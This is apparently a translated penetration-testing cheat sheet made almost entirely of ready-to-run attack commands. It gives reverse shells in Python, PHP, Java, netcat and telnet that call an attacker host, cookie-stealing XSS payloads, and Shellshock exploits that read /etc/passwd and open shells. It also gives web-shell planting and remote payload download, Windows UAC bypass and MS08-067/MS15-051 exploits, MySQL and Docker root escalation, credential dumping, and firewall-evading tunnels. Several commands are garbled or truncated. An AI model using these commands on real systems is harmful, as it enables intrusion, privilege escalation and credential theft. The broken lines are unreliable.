python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' PHP rebound shell

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");' JAVA rebound shell

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor() NETCAT rebound shell

nc -e /bin/sh attackerip 4444 nc -e /bin/sh 192.168.37.10 443

If the -e parameter is disabled, try the following command

mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe

/bin/sh | nc attackerip 443 rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/

If you install the wrong netcat version, try the following command

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f TELNET Bounce Shell

If netcat is not available or /dev/tcp

mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe XTERM Bounce Shell

http://baike.baidu.com/view/418628.htm

Enable the X server (:1 - Listen on TCP port 6001)

apt-get install xnest Xnest :1

Remember to authorize the connection from the target IP

xterm -display 127.0.0.1:1

Authorized access

xhost +targetip

Connect to our X server on the target machine

xterm -display attackerip:1 /usr/openwin/bin/xterm -display attackerip:1 or $ DISPLAY=attackerip:0 xterm XSS memo

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet ("< iframes > src=http://IP:PORT </ iframes >")

<script>document.location=http://IP:PORT</script>

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

";!–"=&amp;{()}

<SCRIPT>alert("XSS")</SCRIPT>"">

perl -e 'print "<IMG SRC=javascript:alert("XSS")>";' > out

(">< iframes http://google.com < iframes >)

"><script >alert(document.cookie)</script> %253cscript%253ealert(document.cookie)%253c/script%253e ">alert(document.cookie)</script> %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E

SSH Over SCTP (using Socat)

Remote server

Suppose you are preparing to have the SCTP socket listen on port 80/SCTP and the sshd port on 22/TCP

$ socat SCTP-LISTEN:80,fork TCP:localhost:22

Local side

Replace SERVER_IP with the address of the remote server, and replace 80 with the port number on which SCTP listens.

$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80

Create a socks proxy

Replace the port numbers for username and -p

$ ssh -lusername localhost -D 8080 -p 1337 Using Onion Network

install service

$ apt-get install tor torsocks

Bind ssh to tor service port 80

/etc/tor/torrc

SocksPolicy accept 127.0.0.1 SocksPolicy accept 192.168.0.0/16 Log notice file /var/log/tor/notices.log RunAsDaemon 1 HiddenServiceDir /var/lib/tor/ssh_hidden_service/ HiddenServicePort 80 127.0.0.1:22 PublishServerDescriptor 0 $ /etc/init.d/tor start $ cat /var/lib/tor/ssh_hidden_service/hostname 3l5zstvt1zk5jhl662.onion

ssh client connection

$ apt-get install torsocks $ torsocks ssh [email protected] -p 80 Metagoofil - Metadata Collection Tool

Note: Metagoofil is a tool that uses Google to collect information.

http://www.edge-security.com/metagoofil.php

It can automatically search and analyze files in the search engine. It also provides other functions such as Mac address, user name list, etc.

$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html 利用 Shellshock

A tool to discover and utilize server Shellshock

https://github.com/nccgroup/shocker

$ ./shocker.py -H 192.168.56.118 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

View Files

$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo $(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

Binding shell

$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

Bounce Shell

$ nc -l -p 443 $ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80 Get Docker's Root

Get Docker's Root

user must be in the docker user group

ek maintenance @: ~ / $ dock-test it uid = 1001 (ek) gid = 1001 (i) groups = 1001 (i), 114 (docks)

ek @ victum: ~ $ mkdir docker test ek @ victum: ~ $ cd docker test

ek@victum:~$ cat > Dockerfile FROM debian:wheezy

ENV WORKDIR /stuff

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR << EOF

ek@victum:$ docker build -t my-docker-image . ek@victum:$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' ./sh whoami

root

ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow' Using DNS Tunnels to Bypass Firewalls

Make data and commands use DNS tunneling to bypass firewall checks

dnscat2 supports uploading and downloading commands from the target host for files, data, and programs

Server (attacker)

$ apt-get update $ apt-get -y install ruby-dev git make g++ $ gem install bundler $ git clone https://github.com/iagox86/dnscat2.git $ cd dnscat2/server $ bundle install $ ruby ./dnscat2.rb dnscat2> New session established: 16059 dnscat2> session -i 16059

client (target)

https://downloads.skullsecurity.org/dnscat2/

https://github.com/lukebaggett/dnscat2-powershell

$ dnscat --host Compiling Assemble Code

$ nasm -f elf32 simple32.asm -a simple32.o $ ld -m elf_i386 simple32.o simple32

$ nasm -f elf64 simple.asm -o simple.o $ ld simple.o -o simple Use a non-interactive shell to enter the intranet

Generate the ssh key used by the shell

$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami" $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N "" " $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"

Add user tempuser

$ useradd -m tempuser $ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys $ chmod 700 /home/tempuser/.ssh/authorized_keys $ chown -R tempuser:tempuser /home/tempuser/.ssh

Bounce ssh shell

$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>" Take a shell using POST remote command execution

attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl http://victum.tk/shell.php?cmd=id

Download the shell on the server (phpshell.php)

http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27

Run nc and execute phpshell.php

attacker:~$ nc -nvlp 1337 Bounce Shell with System Permission on Win7 as Administrator

msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe

Display account configuration

net user

Kali 上下载 psexec

https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

Use powershell script to upload psexec.exe to target machine

echo $client = New-Object System.Net.WebClient > script.ps1 echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1 echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1

Upload the danger.exe to the target machine using the powershell script

echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1 echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1

Bypass UAC using a precompiled binary:

https://github.com/hfiref0x/UACME

Use the powershell script to upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to the target machine

echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1 echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1

Create Listen on Kali

nc -lvp 4444

Use Akagi64 to run danger.exe with system privileges

Akagi64.exe 1 C:\Users\User\Desktop\danger.exe

Create Listen on Kali

nc -lvp 4444

The next step will bounce us a shell

Run the danger.exe using PsExec with system privileges

psexec.exe –i –d –accepteula –s danger.exe Bounce a shell with system privileges on Win7 as an ordinary user

https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051

https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html

https://www.exploit-db.com/exploits/37049/

Find whether the target machine has a patch installed, enter the following command

wmic qfe get wmic qfe | find "3057191"

Upload the compiled utility and run it

https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe

By default it executes cmd.exe with system privileges, but we need to change the source code to run our uploaded danger.exe

https://github.com/hfiref0x/CVE-2015-1701 Download it and navigate to "main.c"

Use wce.exe to get the login user's plaintext account password

http://www.ampliasecurity.com/research/windows-credentials-editor/

wce -w

Use pwdump7 to get password hash for other users

http://www.heise.de/download/pwdump.html

we can try online hash cracking tools such crackstation.net

MS08-067 - Don't use Metasploit

$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205 $ searchsploit ms08-067 $ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1 Acquiring rights through MySQL Root account

Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)

$ wget 0xdeadbeef.info/exploits/raptor_udf2.c $ gcc -g -c raptor_udf2.c $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc mysql -u root -p mysql> use mysql; mysql> create table foo(line blob); mysql> insert into foo values(load_file('/home/user/raptor_udf2.so')); mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; mysql> create function do_system returns integer soname 'raptor_udf2.so'; mysql> select * from mysql.func; mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');

user: ~ $ su - Password: user:# whoami root root:# id uid=0(root) gid=0(root) groups=0(root) Use LD_PRELOAD to inject program

$ wget https://github.com/jivoi/pentest/ldpreload_shell.c $ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so $ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft Enumerate timing attacks against OpenSSH users

Note: Enumeration Timing Attack is a side channel attack. Side channel attack refers to the use of out-of-channel information, such as the speed of encryption/decryption/chip pin encryption and decryption. The way in which the voltage and ciphertext traffic, etc., are attacked is described by one word as "paraphrasing." – Refer to the self-explaining explanations of shotgun.

Osueta is a python2 script for timing attacks on OpenSSH. It can use timing attacks to enumerate OpenSSH usernames and, under certain conditions, can perform DOS attacks on OpenSSH servers.

https://github.com/c0r3dump3d/osueta

$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes $ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt Use ReDuh to construct a legal HTTP request to establish a TCP channel

Note: ReDuh is a tool for tunneling various other data through the HTTP protocol. It can forward the port of the intranet server to this unit through the http/https tunnel to form a connection loop. Used when the target server is connected to the internal open port of the target server when the internal network or port policy is used.

The Pro-ReDuh-Gui is known as the port forwarding artifact.

https://github.com/sensepost/reDuh

step 1

Upload the reDuh.jsp target server

$ http://192.168.10.50/uploads/reDuh.jsp

Step 2

Run reDuhClient locally

$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp

Step 3

Use nc to connect to the management port

$ nc -nvv 127.0.0.1 1010

Step 4

Use the tunnel to forward the local port to the remote destination port

[createTunnel] 7777:172.16.0.4:3389

Step 5

Connect remotely using RDP

$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777